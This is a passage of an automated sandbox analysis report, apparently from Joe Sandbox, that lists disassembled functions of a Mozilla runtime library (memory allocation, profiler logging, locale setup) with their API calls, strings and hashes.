EnterCriticalSection.KERNEL32(6CA6E744), ref: 6C9E1F38
LeaveCriticalSection.KERNEL32(6CA6E744), ref: 6C9E1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C9E1F83
LeaveCriticalSection.KERNEL32(6CA6E784), ref: 6C9E1FC0
EnterCriticalSection.KERNEL32(6CA6E784), ref: 6C9E1FE2
LeaveCriticalSection.KERNEL32(6CA6E784), ref: 6C9E1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C9E2019

Strings

MOZ_CRASH(), xrefs: 6C9E2000

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: e136a641a3086cc2eeb563340f3426c97eb44197d3b17ec717f7159d82bbd727
Instruction ID: 9a491d41ec70fd5badad98436d820bc3cb49b65c9fde29968205c6f3a2c05c26
Opcode Fuzzy Hash: e136a641a3086cc2eeb563340f3426c97eb44197d3b17ec717f7159d82bbd727
Instruction Fuzzy Hash: B541E371B003168FDB058F6ACC84B6A77B9EF5E308F044125F9049BB41D770D8468BD1

Function 6C9F7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9F7EA7
malloc.MOZGLUE(00000001), ref: 6C9F7EB3

Part of subcall function 6C9FCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C9FCB49
Part of subcall function 6C9FCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C9FCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C9F7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C9F7F19
malloc.MOZGLUE(?), ref: 6C9F7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C9F7F4D

Strings

d, xrefs: 6C9F7F89

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 3ef4eee0753d6346b0c5397ff6dc4b6825fa1a2bf8c832e1b39af64a2312b8a9
Instruction ID: 1f32e6d1a789e0beb2d741bd7cfa59a443f32cfdc4cd324df1ddd5a66ac874eb
Opcode Fuzzy Hash: 3ef4eee0753d6346b0c5397ff6dc4b6825fa1a2bf8c832e1b39af64a2312b8a9
Instruction Fuzzy Hash: 84312671E0038997EB009B29CD049FEB778EF96208F45D628EC595BA12FB30E5D9C391

Function 6C9F3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C9F3EEE
RtlFreeHeap.NTDLL ref: 6C9F3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C9F4006
RtlFreeHeap.NTDLL ref: 6C9F40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C9F3CCC), ref: 6C9F40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C9F3CCC), ref: 6C9F40C2
RtlFreeHeap.NTDLL ref: 6C9F4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C9F3CCC), ref: 6C9F4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C9F3CCC), ref: 6C9F4157

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 2792c05731ce1fdd5e7db024ea07a34961180f494798a5b6c7c6ccee7ce09112
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: DFA191B1A00205CFEB40CF28C980669B7F5FF48318F2941A9D919AF742D775E996CFA0

Function 6C9E48E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CA2483A,?), ref: 6C9E4ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CA2483A,?), ref: 6C9E4AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CA2483A,?), ref: 6C9E4A82

Part of subcall function 6C9FCA10: mozalloc_abort.MOZGLUE(?), ref: 6C9FCAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CA2483A,?), ref: 6C9E4A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CA2483A,?), ref: 6C9E4A35

Part of subcall function 6C9FCA10: malloc.MOZGLUE(?), ref: 6C9FCA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CA2483A,?), ref: 6C9E4A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CA2483A,?), ref: 6C9E4AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CA2483A,?), ref: 6C9E4B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CA2483A,?), ref: 6C9E4B2C

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: a895f4106419d04cb85caf45f27f039cb77fd6573ba3a4b8fdabd8f2f2c19b19
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 3B7149B19006069FC755CFA8C580AAAB7F5FF28318B508A3ED15A9BB41E731E559CF80

Function 6CA39D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA38273), ref: 6CA39D65
free.MOZGLUE(6CA38273,?), ref: 6CA39D7C
free.MOZGLUE(?,?), ref: 6CA39D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA39E0F
free.MOZGLUE(6CA3946B,?,?), ref: 6CA39E24
free.MOZGLUE(?,?,?), ref: 6CA39E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA39EC8
free.MOZGLUE(6CA3946B,?,?,?), ref: 6CA39EDF
free.MOZGLUE(?,?,?,?), ref: 6CA39EF5

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ed8a9536717e2cd7f88cd4f68247de2dc1ecd051df09026c05eb80ccddfe36e2
Instruction ID: 61d9e20ec2e8f86fc6980680af5ad1abc87d6125b14245fc6cbd019c1660c937
Opcode Fuzzy Hash: ed8a9536717e2cd7f88cd4f68247de2dc1ecd051df09026c05eb80ccddfe36e2
Instruction Fuzzy Hash: E371CE70909B518BD712CF28D69055BF3F4FF99319B449619E88E9BB01EB30E8C9CB81

Function 6CA3DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CA3DDCF

Part of subcall function 6CA1FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA1FA4B

Part of subcall function 6CA390E0: free.MOZGLUE(?,00000000,?,?,6CA3DEDB), ref: 6CA390FF
Part of subcall function 6CA390E0: free.MOZGLUE(?,00000000,?,?,6CA3DEDB), ref: 6CA39108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA3DE0D
free.MOZGLUE(00000000), ref: 6CA3DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA3DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA3DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA3DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CA2DEFD,?,6C9F4A68), ref: 6CA3DF32

Part of subcall function 6CA3DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA3DB86
Part of subcall function 6CA3DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA3DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CA2DEFD,?,6C9F4A68), ref: 6CA3DF65
free.MOZGLUE(?), ref: 6CA3DF80

Part of subcall function 6CA05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA05EDB
Part of subcall function 6CA05E90: memset.VCRUNTIME140(6CA47765,000000E5,55CCCCCC), ref: 6CA05F27
Part of subcall function 6CA05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA05FB2

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: e9e06116574dfc56fe22b0f39d9d9ebf554ac74027760d956111015a68cab840
Instruction ID: 0fdd327c852ddcebd4c5c89c8a005ad71982ad20bbc3004a9f7c25eac3c58df0
Opcode Fuzzy Hash: e9e06116574dfc56fe22b0f39d9d9ebf554ac74027760d956111015a68cab840
Instruction Fuzzy Hash: 83512672E11320CBD7108B29D9902AEB372AF9130CFAA101DD84E93B40D731F899CB82

Function 6CA45D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CA45C8C,?,6CA1E829), ref: 6CA45D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CA45C8C,?,6CA1E829), ref: 6CA45D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CA45C8C,?,6CA1E829), ref: 6CA45D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CA45C8C,?,6CA1E829), ref: 6CA45D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CA45C8C,?,6CA1E829), ref: 6CA45DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CA45C8C,?,6CA1E829), ref: 6CA45DC9
std::_Facet_Register.LIBCPMT ref: 6CA45DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CA45C8C,?,6CA1E829), ref: 6CA45E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CA45C8C,?,6CA1E829), ref: 6CA45E45

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 7e4d43c4c3afba10516c356c241fe0deb9811114831673075b245fa23613981a
Instruction ID: adcca200142d1c4d569c7870c66149876586924331acc0b6e0abae5aec5cc107
Opcode Fuzzy Hash: 7e4d43c4c3afba10516c356c241fe0deb9811114831673075b245fa23613981a
Instruction Fuzzy Hash: 3241C2707003058FCB04DFA5C898AAE77B5FF89318F088168E50A9B791EB30EC46CB60

Function 6CA1CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9E31A7), ref: 6CA1CDDD

Strings

<jemalloc>, xrefs: 6CA1CF9F, 6CA1CFB3
: (malloc) Error in VirtualFree(), xrefs: 6CA1CFA4, 6CA1CFB8

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 16a2192da3837d749a6a554996290173efb33dedc1f98ca51b0261a2af90df27
Instruction ID: bd18dec6bd25c7b57350c3341ded9a5eb40d177c1fa1e83c0f8dcba90e68a77f
Opcode Fuzzy Hash: 16a2192da3837d749a6a554996290173efb33dedc1f98ca51b0261a2af90df27
Instruction Fuzzy Hash: 3131D630B483165BEF04AEAA8C45B7E7B75BF4171CF248124F611ABEC0DB70D48187A1

Function 6C9EECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9EF100: LoadLibraryW.KERNEL32(shell32,?,6CA5D020), ref: 6C9EF122
Part of subcall function 6C9EF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C9EF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C9EED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9EEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C9EEDCC
CreateFileW.KERNEL32 ref: 6C9EEE08
free.MOZGLUE(00000000), ref: 6C9EEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C9EEE32

Part of subcall function 6C9EEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C9EEBB5
Part of subcall function 6C9EEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CA1D7F3), ref: 6C9EEBC3
Part of subcall function 6C9EEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CA1D7F3), ref: 6C9EEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C9EEDC1

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 2c40975620a9930cbb96f25717092f2a8e79f9b22084ac9754647e9edf2d988c
Instruction ID: da5389335b673336aaf8e03a2c70ca5c66c685b5c60e25d8f7734a41be135a24
Opcode Fuzzy Hash: 2c40975620a9930cbb96f25717092f2a8e79f9b22084ac9754647e9edf2d988c
Instruction Fuzzy Hash: 4E51F071D053088BDB02DF68D9406EEB7B5AF6D31CF44842DE8557B740E730A989C7A2

Function 6CA5A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA5A565

Part of subcall function 6CA5A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA5A4BE
Part of subcall function 6CA5A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA5A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA5A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA5A6B6

Strings

z, xrefs: 6CA5A6AE
0, xrefs: 6CA5A5FB

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: ee2c06d3987c82e17c3adea5d645796456a9f4cae89e1442431a5d056d6f1905
Instruction ID: 0ff4c860278125bc3083bcd464f7174ce664fccbc74cb52d53f8b4a19d62c936
Opcode Fuzzy Hash: ee2c06d3987c82e17c3adea5d645796456a9f4cae89e1442431a5d056d6f1905
Instruction Fuzzy Hash: 8C413E716087459FC341DF28C480A9FBBE5BF99354F408A2EF49987790E730D999CB92

Function 6C9E78C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CA6008B), ref: 6C9E7B89
free.MOZGLUE(?,6CA6008B), ref: 6C9E7BAC

Part of subcall function 6C9E78C0: free.MOZGLUE(?,6CA6008B), ref: 6C9E7BCF

free.MOZGLUE(?,6CA6008B), ref: 6C9E7BF2

Part of subcall function 6CA05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA05EDB
Part of subcall function 6CA05E90: memset.VCRUNTIME140(6CA47765,000000E5,55CCCCCC), ref: 6CA05F27
Part of subcall function 6CA05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA05FB2

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 8cd0af55eb7c4269e03af5aca07500dadc02730742920f4e095744b497e87b74
Instruction ID: 214e41463879432685f67b66bcbeb586b65f1fbb71ad384edf4a594157247d1a
Opcode Fuzzy Hash: 8cd0af55eb7c4269e03af5aca07500dadc02730742920f4e095744b497e87b74
Instruction Fuzzy Hash: 98C1D731E001298BEB25CB28DC90BADB772AF65318F150398D51AE7BC2D731DE858F52

Function 6CA29420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CA1AB89: EnterCriticalSection.KERNEL32(6CA6E370,?,?,?,6C9E34DE,6CA6F6CC,?,?,?,?,?,?,?,6C9E3284), ref: 6CA1AB94
Part of subcall function 6CA1AB89: LeaveCriticalSection.KERNEL32(6CA6E370,?,6C9E34DE,6CA6F6CC,?,?,?,?,?,?,?,6C9E3284,?,?,6CA056F6), ref: 6CA1ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C9F4A68), ref: 6CA2945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA29470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA29482
__Init_thread_footer.LIBCMT ref: 6CA2949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA29459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA2946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA2947D

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 64967437efb24d53bbfb09f13949faf30b5d6d642b28e4a94cc467470caca0d9
Instruction ID: 2f6093b45bec70f22171658b62577c1c34bb99f5a67d1d05d551a34878aea0be
Opcode Fuzzy Hash: 64967437efb24d53bbfb09f13949faf30b5d6d642b28e4a94cc467470caca0d9
Instruction Fuzzy Hash: 95016874A042128BDB049B3EDE24BA53375BB0572CF0C813BD90682F41D635D8DA896B

Function 6CA30F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA30F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA30F88
GetCurrentThreadId.KERNEL32 ref: 6CA30FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CA31067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CA310A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CA3114B

Part of subcall function 6CA28AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CA41563), ref: 6CA28BD5

free.MOZGLUE(?), ref: 6CA31174
free.MOZGLUE(?), ref: 6CA31186

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 098c2c7114ce147cdf4be62e83a6d60007ce725ff94ab3ea9658686b96299000
Instruction ID: dc501fcb091c8c64b953a5f7580a8e4faf73f6436a4deead2bbba750e8d7051f
Opcode Fuzzy Hash: 098c2c7114ce147cdf4be62e83a6d60007ce725ff94ab3ea9658686b96299000
Instruction Fuzzy Hash: 3061DE75A043509BDB10CF25DA907AAB7F6BFC5308F04991DE98D87711EB31E889CB82

Function 6C9EB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C9EB61E,?,?,?,?,?,00000000), ref: 6C9EB6AC

